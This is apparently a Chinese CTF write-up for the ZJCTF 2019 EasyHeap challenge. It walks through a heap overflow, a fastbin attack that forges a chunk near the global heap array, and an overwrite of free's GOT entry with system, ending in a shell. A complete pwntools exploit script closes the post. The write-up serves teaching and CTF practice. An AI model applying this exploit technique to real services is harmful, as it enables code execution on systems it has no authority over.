ZJCTF_2019_EasyHeap做题记录

一、准备工作

在这里插入图片描述

1.edit_heap

在这里插入图片描述
2. create_heap
在这里插入图片描述
3.delete_heap
在这里插入图片描述

二、解题思路

通过上面三个函数可以看到,程序维护了一个heap数组heaparray,存放malloc后的chunk的地址,最关键的是edit_heap函数,当heaparray中写入了一个chunk地址,可以通过这个函数实现向chunk写入内容,如果向heaparray写入其他地址,任意地址写,那这个题的关键就是先向heaparray中写入一个函数GOT表的地址,再通过edit_heap函数将GOT表改写(因为edit_heap可以向一个地址指向的空间写东西)。
利用fastbin attack,向heap_array写入一个got表的地址(伪造的chunk地址位于),再用edit向该got表写入system地址

三、解题过程

方法一:fastbin attack

(一)申请chunk

这里其实只要申请能进入fastbin的chunk就可

create(0x60,'aaaa') # chunk 0
create(0x60,'bbbb') # chunk 1
create(0x60,'cccc') # chunk 2

为什么申请三个,而不是两个:
我们后面想要向利用第0号chunk作为伪造的chunk向heaparray写入system的地方即heaparray[0],第1号chunk作为binsh的chunk,第2号作为被溢出的chunk。
不知道这个和双重释放防止有没有关系。(不练连续两次释放同一块chunk)

(二)堆溢出

free(2) # 释放 heap2 让其进入 fastbin
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)

此时堆内的内容:
在这里插入图片描述

为什么此处伪造的chunk地址是0x6020ad:
在这里插入图片描述

本次意图将heaparray开始的对应记录chunk0地址(第二处划线位置的0x0000000001eb7010,gdb上面显示的是小端序)的位置修改为system的plt地址(我这里的实验环境sys.plt只有在ubuntu上才能正常不报错),那么就要找到一块起始地址位于其上方的一个chunk,且该chunk对应的size位为0x000000000000007x(x的二进制最低位不为0),而这个chunk是不被检查对齐的,所以其所在地址的起始地址没有要求。那么找到一个size>=chunk的data的起始位置到heaparray的offset,找到满足这样一个条件的chunk就可以了。想上找使用上图所示命令,找到第一处划线处(注意是小端序),以其作为chunk的size位,找到以其为chunk size位时,这个size位所在地址:0x6020b5,当这个小端序的程序读取这个地址时,读到的内容为:0x00000000000000007f,size的地址+8即为这个chunk的data的起始地址:0x6020bd,heaparray的记录chunk0地址的结束地址为0x6020e7,最后offset = 0x6020e7-0x6020bd = 0x3a=42 < size of chunk = 0x7f,所以这个伪造的chunk是可用的,所以伪造的chunk的地址是:size of chunk的address - 0x8 = 0x6020ad
在这里插入图片描述

(三)修改heaparray中存储chunk0地址的位置的内容

payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)

'a' * 3 + p64(0) * 4的原因是刚刚所说的chunk的data的起始地址0x6020bd到heaparray 0x6020e0的偏移量是:3+8*4
在这里插入图片描述

(四)篡改got表


payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

(五)调用system

free(1)

exp.py


# -*- coding: utf-8 -*-
# py2
from pwn import *
 
p = process('./easyheap')
# p = remote('node4.buuoj.cn' ,29965)
elf = ELF('./easyheap')

context.log_level = 'debug'

def create(size,content): 
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))
 
def edit(index,size,content): 
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))
 
def free(index): 
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
 
free_got = elf.got['free']
 
create(0x60,'aaaa') 
create(0x60,'bbbb') 
create(0x60,'cccc') 
free(2)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
create(0x60,'aaaa') # chunk 2 (从 fastbin 里取出的)

create(0x60,'c') # chunk 3 / idx = 0 (Fake)

payload = 'a' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)

payload = p64(elf.plt['system'])
edit(0,len(payload),payload)

free(1)

p.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_52111404/article/details/129354626